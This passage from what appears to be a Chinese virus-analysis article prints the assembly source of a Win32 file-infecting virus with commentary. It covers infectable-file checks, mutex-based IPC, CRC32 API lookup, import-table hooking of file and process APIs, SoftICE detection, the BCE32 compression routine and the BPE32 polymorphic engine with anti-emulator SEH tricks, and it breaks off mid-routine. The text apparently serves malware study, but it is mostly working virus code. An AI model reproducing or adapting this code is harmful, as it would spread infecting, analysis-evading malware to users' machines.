cmp eax, not 'lpc.' ;is it CPL? je extOK cmp eax, not 'tad.' ;is it DAT? je extOK cmp eax, not 'kab.' ;is it BAK? je extOK xor ecx, ecx inc ecx c_error:mov [esp.Pushad_ecx], ecx ;save result popad ret ;; 如果是可以感染的文件则设置它的文件属性为normal file extOK: push FILE_ATTRIBUTE_NORMAL ;normal file push esi ;filename mov eax, 0 ddSetFileAttributesA = dword ptr $-4 call eax ;blank file attributes xchg eax, ecx jmp c_error ;; 设置VLCB信号 ;; 输入:ECX:0则为设置数据并且等待,反之则为等待获取请求 ;; ESI:指向数据缓冲,如果ECX不等于0 ;; EBX:请求的ID号 ;; EDX:如果是随机线程则为-1,其余的则为线程号 ;; 输出:ECX:如果是输出入则ECX不等于,否则则为请求ID号 ;; 如果出错为-1 ;; EDX:如果ECX!=0,否则为线程号 ;; ESI:指向要设置的数据,如果输入ECX=0 get_set_VLCB: ;get/set VLCB records procedure (IPC) ;input: ECX - 0=set/wait else wait/get ; ESI - pointer to data, if ECX!=0 ; EBX - ID number of request ; EDX - -1, if random thread, otherwise ; - number of thread. ;output:ECX - if input ECX!=0, ECX=ID ; - if error, ECX=-1 ; EDX - if ECX!=0, number of thread ; ESI - ptr to data, if input ECX=0 mov edi, 0 vlcbBase = dword ptr $-4 inc edx je t_rnd ;get random record dec edx imul eax, edx, VLCB_TSize-8 add edi, eax jecxz sw_VLCB cmp dword ptr [edi.VLCB_TSep.VLCB_THandle], 0 je qq call w_wait ;wait for free mutex pushad xchg esi, edi lea esi, [esi.VLCB_TSep.VLCB_TData] mov ecx, (VLCB_TSize-8)/4 rep movsd ;copy data popad mov ecx, [edi.VLCB_TSep.VLCB_TID] ;get ID push ecx call r_mutex ;release mutex pop ecx ret ;and quit t_next: add edi, VLCB_TSize-8 ;move to next record inc edx loop tsrch qqq: pop ecx qq: xor ecx, ecx dec ecx ret t_rnd: push ecx ;pass thru 20 records push 20 pop ecx xor edx, edx tsrch: cmp dword ptr [edi.VLCB_TSep.VLCB_THandle], 0 je t_next ;check if its free pop ecx sw_VLCB:call w_wait ;wait for free mutex pushad lea edi, [edi.VLCB_TSep.VLCB_TData] mov ecx, (VLCB_TSize-8)/4 rep movsd ;copy data popad mov [edi.VLCB_TSep.VLCB_TID], ebx pushad lea esi, [edi.VLCB_TSep.VLCB_TData.WFD_szAlternateFileName] mov ebp, [esi] ;get result call r_mutex ;signalize mutex slp: call sleep ;switch to next thread cmp [esi], ebp ;check for change je slp ;no change, wait popad xor ecx, ecx ret ;quit w_wait: call open_mutex ;open mutex push eax push 10000 ;wait 10 seconds push eax mov eax, 0 ddWaitForSingleObject = dword ptr $-4 call eax test eax, eax pop eax jne qqq ;quit if not signalized call close_mutex ;close mutex ret ;and quit open_mutex: lea eax, [edi.VLCB_TSep.VLCB_THandle] ;name of mutex push eax push 0 push 0f0000h or 100000h or 1 ;access flags mov eax, 0 ddOpenMutexA = dword ptr $-4 ;open mutex call eax ret r_mutex:call open_mutex ;open mutex push eax push eax mov eax, 0 ddReleaseMutex = dword ptr $-4 call eax ;singalize mutex pop eax close_mutex: push eax mov eax, 0 ddCloseHandle = dword ptr $-4 call eax ;close mutex ret sleep: push 0 ;switch to next thread mov eax, 0 ddSleep = dword ptr $-4 call eax ;switch! ret ;; 检查并且感染 Check&Infect: pushad mov esi, ebx ;get ptr to data pushad call vlcb_stuph ;common stuph mov ebx, VLCB_Check ;check only call get_set_VLCB ;IPC! inc ecx popad je _ret_ ;quit if error mov eax, dword ptr [esi.WFD_szAlternateFileName] dec eax test eax, eax je _ret_ sc1_ok: call vlcb_stuph ;common stuph mov ebx, VLCB_Infect ;check and infect call get_set_VLCB ;IPC! _ret_: popad ret ;; 计算CRC32值 ;; CRC32的算法在这里就不做分析了 CRC32: push ecx ;procedure to calculate CRC32 push edx push ebx xor ecx, ecx dec ecx mov edx, ecx NextByteCRC: xor eax, eax xor ebx, ebx lodsb xor al, cl mov cl, ch mov ch, dl mov dl, dh mov dh, 8 NextBitCRC: shr bx, 1 rcr ax, 1 jnc NoCRC xor ax, 08320h xor bx, 0edb8h NoCRC: dec dh jnz NextBitCRC xor ecx, eax xor edx, ebx dec edi jne NextByteCRC not edx not ecx pop ebx mov eax, edx rol eax, 16 mov ax, cx pop edx pop ecx ret ;; 搜索引出表 SearchET: ;procedure for recieving API names from Export table pushad ;save all registers @SEH_SetupFrame ;setup SEH frame mov edi, [eax.MZ_lfanew] ;get ptr to PE header add edi, eax ;make pointer raw mov ecx, [edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_Size] jecxz address_not_found ;quit, if no exports mov ebx, eax add ebx, [edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress] mov edx, eax ;get RVA to Export table add edx, [ebx.ED_AddressOfNames] ;offset to names mov ecx, [ebx.ED_NumberOfNames] ;number of name mov edi, esi push edi xchg eax, ebp xor eax, eax APIname:push eax mov esi, ebp add esi, [edx+eax*4] ;get to API name push esi @endsz ;get to the end of API name sub esi, [esp] ;get size of API name mov edi, esi ;to EDI pop esi ;restore ptr to API name call CRC32 ;get its CRC32 mov edi, [esp+4] ;get requested CRC32 cmp eax, [edi] ;is it same pop eax je mcrc ;yeah nchar: inc eax ;no, increment counter loop APIname ;and get next API name pop eax ;clean stack address_not_found: xor eax, eax ;and quit jmp endGPA mcrc: pop edx mov edx, ebp add edx, [ebx.ED_AddressOfOrdinals] ;skip over ordinals movzx eax, word ptr [edx+eax*2] cmp eax, [ebx.ED_NumberOfFunctions] jae address_not_found mov edx, ebp add edx, [ebx.ED_AddressOfFunctions] ;get start of function addresses add ebp, [edx+eax*4] ;make it pointer to our API xchg eax, ebp ;address to EAX endGPA: @SEH_RemoveFrame ;remove SEH frame mov [esp.Pushad_eax], eax ;store address popad ;restore all registers ret ;and quit ;; 计算对齐 a_go: inc esi ;jump over alignments inc esi pushad ;store all registers xor edx, edx ;zero EDX xchg eax, esi push 2 pop ecx div ecx test edx, edx je end_align ;no alignments needed inc eax ;align API name end_align: mul ecx mov [esp.Pushad_esi], eax popad ;restore all registers ret ;; 对指定的函数进行引入表的HOOK PatchIT Proc ;procedure for patching API calls pushad ;store all registers @SEH_SetupFrame ;setup SEH frame call itDlta itDelta:db 0b8h itDlta: pop ebp mov [ebp + gmh - itDelta], eax ;save it mov ebx, [eax.MZ_lfanew] ;get to PE header add ebx, eax ;make pointer raw push dword ptr [ebx.NT_OptionalHeader.OH_DirectoryEntries.DE_Import.DD_VirtualAddress] call rva2raw pop edx sub edx, IMAGE_SIZEOF_IMPORT_DESCRIPTOR push edi n_dll: pop edi add edx, IMAGE_SIZEOF_IMPORT_DESCRIPTOR lea edi, [ebp + szK32 - itDelta] ;get Kernel32 name mov esi, [edx] test esi, esi je endPIT sdll: push dword ptr [edx.ID_Name] call rva2raw pop esi push edi cmpsd ;is it K32? jne n_dll cmpsd jne n_dll cmpsd jne n_dll pop edi xor ecx, ecx ;zero counter push dword ptr [edx.ID_OriginalFirstThunk] ;get first record call rva2raw pop esi push dword ptr [esi] ;get first API name call rva2raw pop esi pit_align: call a_go push esi ;store pointer @endsz ;get to the end of API name mov edi, esi sub edi, [esp] ;move size of API name to EDI pop esi ;restore pointer push eax ;store EAX call CRC32 ;calculate CRC32 of API name cmp eax, [esp.cPushad+10h] ;check, if it is requested API je a_ok ;yeah, it is inc ecx mov eax, [esi] ;check, if there is next API test eax, eax ;... pop eax ;restore EAX jne pit_align ;yeah, check it jmp endPIT ;no, quit a_ok: pop eax ;restore EAX push dword ptr [edx.ID_FirstThunk] ;get address to IAT call rva2raw pop edx mov eax, [edx+ecx*4] ;get address mov [esp.Pushad_eax+8], eax ;and save it to stack pushad ;store all registers mov eax, 0 ;get base address of program gmh = dword ptr $-4 mov ebx, [eax.MZ_lfanew] add ebx, eax ;get PE header push dword ptr [ebx.NT_OptionalHeader.OH_BaseOfCode] ;get base of code call rva2raw ;normalize pop esi ;to ESI mov ecx, [ebx.NT_OptionalHeader.OH_SizeOfCode] ;and its size pushad call p_var dd ? p_var: push PAGE_EXECUTE_READWRITE push ecx push esi mov eax, 0 ddVirtualProtect = dword ptr $-4 call eax ;set writable right test eax, eax popad je endPIT sJMP: mov dl, [esi] ;get byte from code inc esi cmp dl, 0ffh ;is it JMP/CALL? jne lJMP ;check, if it is cmp byte ptr [esi], 25h ;JMP DWORD PTR [XXXXXXXXh] je gIT1 cmp byte ptr [esi], 15h ;or CALL DWORD PTR [XXXXXXXXh] jne lJMP mov dl, 0e8h jmp gIT2 gIT1: mov dl, 0e9h gIT2: mov [ebp + j_or_c - itDelta], dl ;change opcode mov edi, [ebx.NT_OptionalHeader.OH_DirectoryEntries.DE_Import.DD_VirtualAddress] add edi, [ebx.NT_OptionalHeader.OH_DirectoryEntries.DE_Import.DD_Size] push ecx mov ecx, [ebx.NT_OptionalHeader.OH_ImageBase] add edi, ecx push ebp mov ebp, [esi+1] sub ebp, ecx push ebp call rva2raw pop ebp sub ebp, eax add ebp, ecx sub edi, ebp pop ebp pop ecx js lJMP ;check, if it is correct address push ecx push edx ;store EDX mov edx, [esp.Pushad_ecx+8] ;get counter imul edx, 4 ;multiply it by 4 add edx, [esp.Pushad_edx+8] ;add address to IAT to ptr sub edx, eax mov ecx, [esi+1] sub ecx, [ebx.NT_OptionalHeader.OH_ImageBase] push ecx call rva2raw pop ecx sub ecx, eax cmp edx, ecx ;is it current address pop edx pop ecx ;restore EDX jne sJMP ;no, get next address mov eax, [esi+1] mov [esp.cPushad.Pushad_eax+8], eax ;store register to stack mov [esp.Pushad_esi], esi ;for l8r use popad ;restore all registers mov byte ptr [esi-1], 0e9h ;build JMP or CALL j_or_c = byte ptr $-1 mov ebx, [esi+1] mov eax, [esp.cPushad+10h] ;get address add eax, [ebp + gmh - itDelta] sub eax, esi ;- current address sub eax, 4 ;+1-5 mov [esi], eax ;store built jmp instruction mov byte ptr [esi+4], 90h xchg eax, ebx jmp endIT ;and quit lJMP: dec ecx jecxz endPIT-1 jmp sJMP ;search in a loop popad ;restore all registers endPIT: xor eax, eax mov [esp.Pushad_eax+8], eax endIT: @SEH_RemoveFrame ;remove SEH frame popad ;restore all registers ret 8 ;and quit PatchIT EndP ;; 将内存偏移转换为文件偏移 rva2raw:pushad ;procedure for converting RVAs to RAW pointers mov ecx, 0 ;0 if actual program r2rp = dword ptr $-4 jecxz nr2r mov edx, [esp.cPushad+4] ;no comments needed :) movzx ecx, word ptr [ebx.NT_FileHeader.FH_NumberOfSections] movzx esi, word ptr [ebx.NT_FileHeader.FH_SizeOfOptionalHeader] lea esi, [esi+ebx+IMAGE_SIZEOF_FILE_HEADER+4] n_r2r: mov edi, [esi.SH_VirtualAddress] add edi, [esi.SH_VirtualSize] cmp edx, edi jb c_r2r add esi, IMAGE_SIZEOF_SECTION_HEADER loop n_r2r popad ret nr2r: add [esp.cPushad+4], eax popad ret c_r2r: add eax, [esi.SH_PointerToRawData] add eax, edx sub eax, [esi.SH_VirtualAddress] mov [esp.cPushad+4], eax popad ret ;; 这条线程为了HOOK当前程序引入表 NewThread: ;thread starts here pushad ;store all registers ;; 发生异常则跳入到q_hook标签 @SEH_SetupFrame ;; 获取API偏移地址表的地址 mov ebp, [esp+2ch] ;get delta parameter xor ecx, ecx ;zero ECX ;; 将要转换的偏移亲0,这是一个自修改代码,再后面的地址转换 ;; 函数中可以看到它要修改的地方 and dword ptr [ebp + r2rp - gdelta], 0 ;; eax中保存着新函数地址的偏移表 g_hook: mov eax, [ebp + newHookers + ecx*4 - gdelta] ;take address to hooker test eax, eax ;is it 0? ;; 如果为0则退出 je q_hook ;yeah, quit ;; eax中为新的函数的地址 add eax, ebp ;; eax中为此到当前宿主应用程序ImageBase的偏移,GMHA处存放着应用程序的加载地址 sub eax, [ebp + GMHA - gdelta] ;; 将新函数偏移将要HOOK的API名字表地址一同压力堆栈 push eax ;store address push dword ptr [ebp + crchAPIs + ecx*4 - gdelta] ;store CRC32 ;; HOOK引入表eax中将返回原始API的地址 mov eax, 0 GMHA = dword ptr $-4 call PatchIT ;and patch Import Table mov esi, [ebp + oldHookers + ecx*4 - gdelta] add esi, ebp mov [esi], eax ;save old hooker inc ecx ;increment counter jmp g_hook ;loop q_hook: @SEH_RemoveFrame popad ;restore all registers ret ;and terminate thread ;; BPE32变形引擎 include BPE32.asm szK32 db 'KERNEL32.dll',0 ;name of DLL sice95 db '\\.\SICE',0 ;SoftICE/95/98 siceNT db '\\.\NTICE',0 ;SoftICE/NT ;APIs needed at run-time crcAPIs dd 0AE17EBEFh ;FindFirstFileA dd 0AA700106h ;FindNextFileA dd 0C200BE21h ;FindClose dd 03C19E536h ;SetFileAttributesA dd 04B2A3E7Dh ;SetFileTime dd 08C892DDFh ;CreateFileA dd 096B2D96Ch ;CreateFileMappingA dd 0797B49ECh ;MapViewOfFile dd 094524B42h ;UnmapViewOfFile dd 019F33607h ;CreateThread dd 0D4540229h ;WaitForSingleObject dd 068624A9Dh ;CloseHandle dd 020B943E7h ;CreateMutexA dd 0C449CF4Eh ;ReleaseMutex dd 0C6F22166h ;OpenMutexA dd 00AC136BAh ;Sleep dd 079C3D4BBh ;VirtualProtect dd 0EB1CE85Ch ;GetCurrentProcessId dd 033D350C4h ;OpenProcess dd 041A050AFh ;TerminateProcess dd 04134D1ADh ;LoadLibraryA dd 0FFC97C1Fh ;GetProcAddress dd 0AFDF191Fh ;FreeLibrary ;APIs to hook crchAPIs dd 0AE17EBEFh ;FindFirstFileA dd 0AA700106h ;FindNextFileA dd 05BD05DB1h ;CopyFileA dd 0953F2B64h ;CopyFileExA dd 08C892DDFh ;CreateFileA dd 0267E0B05h ;CreateProcessA dd 0DE256FDEh ;DeleteFileA dd 0C633D3DEh ;GetFileAttributesA dd 08F48B20Dh ;GetFullPathNameA dd 0F2F886E3h ;_lopen dd 02308923Fh ;MoveFileA dd 03BE43958h ;MoveFileExA dd 068D8FC46h ;OpenFile dd 03C19E536h ;SetFileAttributesA dd 028452C4Fh ;WinExec dd 040F57181h ;ExitProcess dd 0058F9201h ;ExitThread dd 087D52C94h ;GetLastError dd 068624A9Dh ;CloseHandle ;APIs to patch crcpAPIs dd 0E141042Ah ;GetProcessHeap dd 042F13D06h ;GetVersion dd 0DE5C074Ch ;GetVersionEx dd 052CA6A8Dh ;GetStartupInfoA dd 04E52DF5Ah ;GetStartupInfoW dd 03921BF03h ;GetCommandLineA dd 025B90AD4h ;GetCommandLineW dd 003690E66h ;GetCurrentProcess dd 019F33607h ;CreateThread dd 082B618D4h ;GetModuleHandleA dd 09E2EAD03h ;GetModuleHandleW dd ? virus_end: ;end of virus in host tmp dd ? ;temporary variable org tmp ;overlay WFD WIN32_FIND_DATA ? ;Win32 Find Data WFD2 WIN32_FIND_DATA ? ;Win32 Find Data data_buffer db 256 dup (?) ;buffer for VLCB_TData size_unint = $ - virus_end ;size of unitialized ;variables ;used only by first generation of virus workspace1 db 16 dup (?) ;usd by compression workspace2 db 16 dup (?) ;engine _GetModuleHandleA dd offset GetModuleHandleA ends ;end of code section End first_gen ;end of virus //------------------------------------------------------------------------------------------------------------------------------------------ [0x04].BCE32压缩函数分析 BCE32压缩函数 esi中存放着要加压的部分指针 edi中存放着要写入的缓冲指针 ecx为要加压的长度 ebx,edx是两个16字节的临时缓冲的基地址 //------------------------------------------------------------------------------------------------------------------------------------------ ;Compression routine from BCE32 starts here. This is used only in first gen. ;; BCE32压缩函数 BCE32_Compress Proc ;; 保存所有寄存器 pushad ;save all regs ;stage 1 ;; 再保存一次 pushad ;and again ;; 创建表,这里创建的表的算法是这样的 ;; 利用ebx指向的表(4*4)的一个DWORD表 ;; 读取一个BYTE,测试它中间每两位为一组 ;; 是否为 00 01 10 11 如果是则在相应表的 ;; 位置增1,形成所有要压缩数据的一个BIT记录 create_table: ;; 保存ecx push ecx ;save for l8r usage ;; ecx = 4,这里是为了做运算使用 push 4 pop ecx ;ECX = 4 ;; 读取一个要压缩的字节到al lodsb ;load byte to AL ;; 保存它 l_table:push eax ;save it ;; edx = 0 xor edx, edx ;EDX = 0 ;; 测试位11 and al, 3 ;this stuff will separate and test je st_end ;bit groups ;; 测试位10 cmp al, 2 je st2 ;; 测试为al时候等于3 cmp al, 3 je st3 st1: inc edx ;01 jmp st_end st2: inc edx ;10 inc edx jmp st_end st3: mov dl, 3 ;11 st_end: inc dword ptr [ebx+4*edx] ;increment count in table pop eax ;; 测试下两个bit ror al, 2 ;next bit group loop l_table pop ecx ;restore number of bytes loop create_table ;next byte ;; 以下循环测试以上形成的位记录表 ;; 这个阶段为了使每个计数的位组计数 ;; 都不一样,相差为1 ;; ecx = 4 push 4 ;this will check for same numbers pop ecx ;ECX = 4 ;; edx = 0 re_t: cdq ;EDX = 0 ;; 读取当前位组的计数 t_loop: mov eax, [ebx+4*edx] ;load DWORD ;; 自增当前位组的计数 inc dword ptr [ebx+4*edx] ;increment it ;; 测试当前位组的计数是否与其他组 ;; 的计数一样.如果一样则当前位组增1 cmp eax, [ebx] ;test for same numbers je _inc_ ;... cmp eax, [ebx+4] ;... je _inc_ ;... cmp eax, [ebx+8] ;... je _inc_ ;... cmp eax, [ebx+12] ;... jne ninc_ ;... ;; 当前位组计数增1 _inc_: inc dword ptr [ebx+4*edx] ;same, increment it ;; 增加循环计数.直到当前位组的计数与 ;; 其他组的计数不一样为止 inc ecx ;increment counter (check it in next turn) ;; 这里查看时候超出数组的边界 ninc_: cmp dl, 3 ;table overflow ? je re_t ;yeah, once again ;; 移动到下一个位组 inc edx ;increment offset to table loop t_loop ;loop ;; 恢复所有寄存器 popad ;restore regs ;stage 2 ;; 这里进行对位组的泡沫排序,并将排序结构放入第二 ;; 个表中 ;; 保存所有寄存器 pushad ;save all regs ;; 计数表的基址设置给esi mov esi, ebx ;get pointer to table ;; ebx = 3 push 3 pop ebx ;EBX = 3 ;; ecx = 3 mov ecx, ebx ;ECX = 3 ;; 这里对计数数组进行泡沫排序,以降序排列 ;; 由于只有4个字节所以循环3次 rep_sort: ;bubble sort = the biggest value will ;always "bubble up", so we know number ;steps ;; 保存ecx push ecx ;save it mov ecx, ebx ;set pointerz ;; edi指向第二个(4*4)的表 mov edi, edx ;... ;; 保存 第二个(4*4)的表地址 push edx ;save it ;; 从位组计数表中读取一个DWORD lodsd ;load DWORD (count) ;; 保存这个DWORD到edx mov edx, eax ;save it ;; 读取下一个 sort: lodsd ;load next ;; 做比较 cmp eax, edx ;is it bigger ;; 如果后者小于前者,则不交换. ;; 这里是按照降序排列 jb noswap ;no, store it ;; 如果后者大于前者,则交换他们的值 xchg eax, edx ;yeah, swap DWORDs ;; 重新写入 noswap: stosd ;store it ;; 下个DWORD,循环这个过程 loop sort ;next DWORD ;; 内层循环结束,这里到了外层循环,进行下个DWORD的对比 mov eax, edx ;biggest in EDX, swap it stosd ;and store lea esi, [edi-16] ;get back pointer pop edx ;restore regs pop ecx loop rep_sort ;and try next DWORD popad ;; --- 泡沫排序结束 --- ;stage 3 ;; 这个步骤用来生成加密密钥 ;; 算法为轮询整个数组,找到与之 ;; 对应的索引号于密钥的初值相加 ;; 然后在循环左移2位 ;; 最后将密钥存入ebx中 ;; 保存所有的寄存器 pushad ;save all regs ;; eax = 0 xor eax, eax ;EAX = 0 push eax ;save it ;; ecx = 4,设置循环计数 push 4 pop ecx ;ECX = 4 n_search: ;; 保存第二个表的基址和循环计数 push edx ;save regs push ecx ;; esi指向未排序的位组计数 lea esi, [ebx+4*eax] ;get pointer to table push eax ;store reg ;; 读取一个DWORD lodsd ;load DWORD to EAX ;; ecx = 3 push 3 pop ecx ;ECX = 3 ;; edi = 3 mov edi, ecx ;set pointerz ;; esi指向排序过后的计数组 search: mov esi, edx ;; 保存eax push eax ;save it ;; 读取一个DWORD lodsd ;load next ;; 交换排序后的计数组的值到ebp mov ebp, eax ;; 恢复eax到原先的技术组的值 pop eax ;; ebp保存为排序后数组的值 ;; eax保存为未排序数组的值 cmp eax, ebp ;end ? je end_search ;; edi记录索引 dec edi ;next search ;; 移动到下一个指针 add edx, 4 ;; 跳入到下一个循环,继续查找 loop search end_search: ;; 记录循环数 pop eax ;and next step ;; 增加循环计数 inc eax ;; 恢复ecx, edx pop ecx pop edx ;; esp指向eax的压入的栈顶 add [esp], edi rol byte ptr [esp], 2 loop n_search ;; 保存到ebx pop [esp.Pushad_ebx] ;restore all popad ;... ;stage 4 ;; 这个阶段用于加密并写入缓冲 xor ebp, ebp ;EBP = 0 xor edx, edx ;EDX = 0 ;; 将密钥保存入第一个缓冲的字节 mov [edi], bl ;store decryption key ;; 移动指针 inc edi ;increment pointer next_byte: ;; eax = 0 xor eax, eax ;EAX = 0 ;; 保存ecx的原值 push ecx ;; 读入一个字节 lodsb ;load next byte ;; ecx = 4 push 4 pop ecx ;ECX = 4 next_bits: ;; 保存ecx,eax寄存器 push ecx ;store regs push eax ;; 测试位,将al其余位清0 and al, 3 ;separate bit group push ebx ;compare with next group ;; 将bl其余位清0 and bl, 3 ;; 测试当前字节时候与密钥有同样的位 cmp al, bl ;; 恢复密钥 pop ebx ;; 如果相同则跳入cb0 je cb0 ;; 如果两个字节的测试位不同 ;; 保存密钥 push ebx ;compare with next group ;; 密钥循环右移2位,测试下一位 ror bl, 2 ;; 密钥在与3做并操作,清0操作保留最后两位 and bl, 3 ;; 做对比 cmp al, bl ;; 恢复密钥 pop ebx ;; 相同则跳入cb1 je cb1 ;; 如果不相同,则 ;; 保存密钥 push ebx ;compare with next group ;; 移动密钥(将高4位与低4位对调)的 ;; 并且将其他位清0 ror bl, 4 and bl, 3 ;; 与al的位做对比 cmp al, bl ;; 恢复密钥 pop ebx ;; 相同则跳入cb2 je cb2 ;; 如果还不相同 ;; 则保存0,1到对应的数组 push 0 ;store bit 0 call copy_bit push 1 ;store bit 1 call copy_bit cb0: push 1 ;store bit 1 end_cb1:call copy_bit ;; 恢复eax,ecx寄存器 pop eax pop ecx ;; 移动要加压的数据到下一位组 ror al, 2 loop next_bits ;next bit ;; 恢复ecx pop ecx ;; 内循环用于设置一个字节的位 ;; 外循环用于读取字节 ;; 进行下一个字节 loop next_byte ;next byte ;; 将现有的位置保存,并于起始值做减法运算 ;; 求出当前的位置索引号 mov eax, edi ;save new size sub eax, [esp.Pushad_edi] ;... mov [esp.Pushad_eax], eax ;... popad ;restore all regs cmp eax, ecx ;test for negative compression jb c_ok ;positive compression stc ;clear flag ret ;and quit c_ok: clc ;negative compression, set flag ret ;and quit cb1: push 0 ;store bit 0 end_cb2:call copy_bit push 0 ;store bit 0 jmp end_cb1 cb2: push 0 ;store bit 0 call copy_bit push 1 ;store bit 1 jmp end_cb2 ;; 复制位到内存 copy_bit: mov eax, ebp ;get byte from EBP shl al, 1 ;make space for next bit or al, [esp+4] ;set bit jmp cbit BCE32_Compress EndP ;end of compression procedure //------------------------------------------------------------------------------------------------------------------------------------------ 以下是BCE32的解压函数,这里不做分析了,算法与压缩函数的反函数也比BCE32压缩函数要简单的多,解压段的第一个字节保存着密钥 //------------------------------------------------------------------------------------------------------------------------------------------ ;Decompression routine from BCE32 starts here. ;这里为BCE32解压函数 pushad ;save all regs xor eax, eax ;EAX = 0 xor ebp, ebp ;EBP = 0 cdq ;EDX = 0 lodsb ;load decryption key push eax ;store it lodsb ;load first byte push 8 ;store 8 push edx ;store 0 d_bits: push ecx ;store ECX test al, 80h ;test for 1 jne db0 test al, 0c0h ;test for 00 je db1 test al, 0a0h ;test for 010 je db2 mov cl, 6 ;its 011 jmp tb2 testb: test bl, 1 ;is it 1 ? jne p1 push 0 ;no, store 0 _tb_: mov eax, ebp ;load byte to EAX or al, [esp] ;set bit ror al, 1 ;and make space for next one call cbit ret p1: push 1 ;store 1 jmp _tb_ ;and continue db0: xor cl, cl ;CL = 0 mov byte ptr [esp+4], 1 ;store 1 testbits: push eax ;store it push ebx ;... mov ebx, [esp+20] ;load parameter ror bl, cl ;shift to next bit group call testb ;test bit ror bl, 1 ;next bit call testb ;test it pop ebx ;restore regs pop eax mov ecx, [esp+4] ;load parameter bcopy: cmp byte ptr [esp+8], 8 ;8. bit ? jne dnlb ;nope, continue mov ebx, eax ;load next byte lodsb xchg eax, ebx mov byte ptr [esp+8], 0 ;and nulify parameter dec dword ptr [esp] ;decrement parameter dnlb: shl al, 1 ;next bit test bl, 80h ;is it 1 ? je nb ;no, continue or al, 1 ;yeah, set bit nb: rol bl, 1 ;next bit inc byte ptr [esp+8] ;increment parameter loop bcopy ;and align next bits pop ecx ;restore ECX inc ecx ;test flags dec ecx ;... jns d_bits ;if not sign, jump pop eax ;delete pushed parameters pop eax ;... pop eax ;... popad ;restore all regs ;从这里跳入解密后的病毒 jmp decompressed cbit: inc edx ;increment counter cmp dl, 8 ;byte full ? jne n_byte ;no, continue stosb ;yeah, store byte xor eax, eax ;and prepare next one cdq ;... n_byte: mov ebp, eax ;save back byte ret Pshd ;quit from procedure with one parameter on stack db1: mov cl, 2 ;2. bit in decryption key mov byte ptr [esp+4], 2 ;2 bit wide jmp testbits ;test bits db2: mov cl, 4 ;4. bit tb2: mov byte ptr [esp+4], 3 ;3 bit wide jmp testbits ;test bits //------------------------------------------------------------------------------------------------------------------------------------------ [0x05].BPE32变形引擎分析 以下是vulcano变形引擎部分. 产生的结构为: call 解密头 解密代码 解密头 跳转到解密代码运行 这里只做了简单的分析和注释 这篇文章由nEINEI写的<> 文章链接:http://www.xfocus.net/articles/200811/989.html 详细的分析了此引擎,我这里也就不多YY了。 想大概的了解一下BPE32引擎的可以看下我的注释 //------------------------------------------------------------------------------------------------------------------------------------------ ;; 这里定义了一些TASM汇编器没有记录的指令 RDTCS equ ;RDTCS opcode SALC equ ;SALC opcode ;; 参数 ;; esi:指向病毒原始数据 ;; edi:指向输出缓冲指针 ;; ecx:原始病毒的长度 ;; 返回值 ;; eax:解码器头与加密数据后大小 BPE32 Proc ;; 保存所有寄存器 pushad ;save all regs ;; 保存edi,ecx push edi ;save these regs for l8r use push ecx ; ... ;; edx = edi mov edx, edi ; ... ;; 保存esi寄存器 push esi ;preserve this reg ;; 产生花指令,可以到rjunk进行分析 call rjunk ;generate random junk instructions ;; 恢复esi寄存器 pop esi ;restore it ;; 创建一个CALL指令 mov al, 0e8h ;create CALL instruction stosb ; ... ;; eax为加密数据的大小 mov eax, ecx ; ... imul eax, 4 ; ... ;; 设置跳转偏移,加密 stosd ; ... ;; eax指向缓冲的头指针 mov eax, edx ;calculate size of CALL+junx ;; 与当前的指针做减法,取出偏移 sub edx, edi ; ... neg edx ; ... ;; 得到解密头的位置 add edx, eax ; ... ;; 保存解密头的位置 push edx ;save it ;; 获取一个随机值 push 0 ;get random number call random ; ... ;; 将随机值设置给edx xchg edx, eax ;; 设置随机值 mov [ebp + xor_key - mgdelta], edx ;use it as xor constant ;; 产生一个随机值 push 0 ;get random number call random ; ... ;; 随机值保存给ebx xchg ebx, eax ;; 设置给增长量,用作解密KEY的增长 mov [ebp + key_inc - mgdelta], ebx ;use it as key increment constant ;; 读取一个DWORD x_loop: lodsd ;load DWORD ;; 用当前密钥加密 xor eax, edx ;encrypt it stosd ;store encrypted DWORD ;; 密钥+增长量=新的密钥 add edx, ebx ;increment key ;; 下一个DWORD loop x_loop ;next DWORD ;; 产生花指令 call rjunk ;generate junx ;; 产生一个SEH处理 mov eax, 0006e860h ;generate SEH handler stosd ; ... mov eax, 648b0000h ; ... stosd ; ... mov eax, 0ceb0824h ; ... stosd ; ... ;; 获取一个随机的寄存器 greg0: call get_reg ;get random register ;; 必须不是ebp,这个数字的对应 ;; 与INTEL的IA32编码映射相同 cmp al, 5 ;MUST NOT be EBP register ;; 如果是则重新产生 je greg0 ;; 将寄存器的代号设置给bl mov bl, al ;store register ;; 产生一个类似与XOR的指令 mov dl, 11 ;proc parameter (do not generate MOV) ;; 进入到make_xor进行分析 ;; bl与dl用作参数用 call make_xor ;create XOR or SUB instruction ;; 清除edx inc edx ;destroy parameter ;; 产生一个prefix前缀,64h表示段选择子 ;; 使用FS mov al, 64h ;generate FS: stosb ;store it ;; 896430ffh其实是一段指令 ;; bl为要使用的寄存器 mov eax, 896430ffh ;next SEH instructions ;; 设置这为使用这个寄存器 or ah, bl ;change register stosd ;store them mov al, 20h ; ... add al, bl ; ... stosb ; ... ;; 取得一个0-2随机数,采用4字节跳转还是2字节跳转 ;; 也算是一个小的变形吧 push 2 ;get random number call random test eax, eax je _byte_ mov al, 0feh ;generate INC DWORD PTR jmp _dw_ _byte_: mov al, 0ffh ;generate INC BYTE PTR _dw_: stosb ;store it mov al, bl ;store register stosb ; ... ;; 设置异常处理程序的跳转 mov al, 0ebh ;generate JUMP SHORT stosb ; ... mov al, -24d ;generate jump to start of code (trick stosb ;for better emulators, e.g. NODICE32) ;; 产生花指令 call rjunk ;generate junx ;; 随机获取一个寄存器,不能是ebp greg1: call get_reg ;generate random register cmp al, 5 ;MUST NOT be EBP je greg1 ;; 将寄存器设置给bl mov bl, al ;store it ;; 产生一条清0指令 call make_xor ;generate XOR,SUB reg, reg or MOV reg, 0 ;; 建立SEH处理 mov al, 64h ;next SEH instructions stosb ; ... mov al, 8fh ; ... stosb ; ... mov al, bl ; ... stosb ; ... mov al, 58h ; ... add al, bl ; ... stosb ; ... ;; 产生一个CALL指令 mov al, 0e8h ;generate CALL stosb ; ... xor eax, eax ; ... stosd ; ... push edi ;store for l8r use ;; 产生随机花指令 call rjunk ;call junk generator ;; 产生一个随机寄存器并设置给bl call get_reg ;random register mov bl, al ;store it ;; 产生0-1的随机值 push 1 ;random number (0-1) call random ; ... ;; 如果不为0则跳转到next_delta运行 test eax, eax jne next_delta ;; 如果是0 ;; 产生一个mov reg, [esp]; pop eax之类的指令 mov al, 8bh 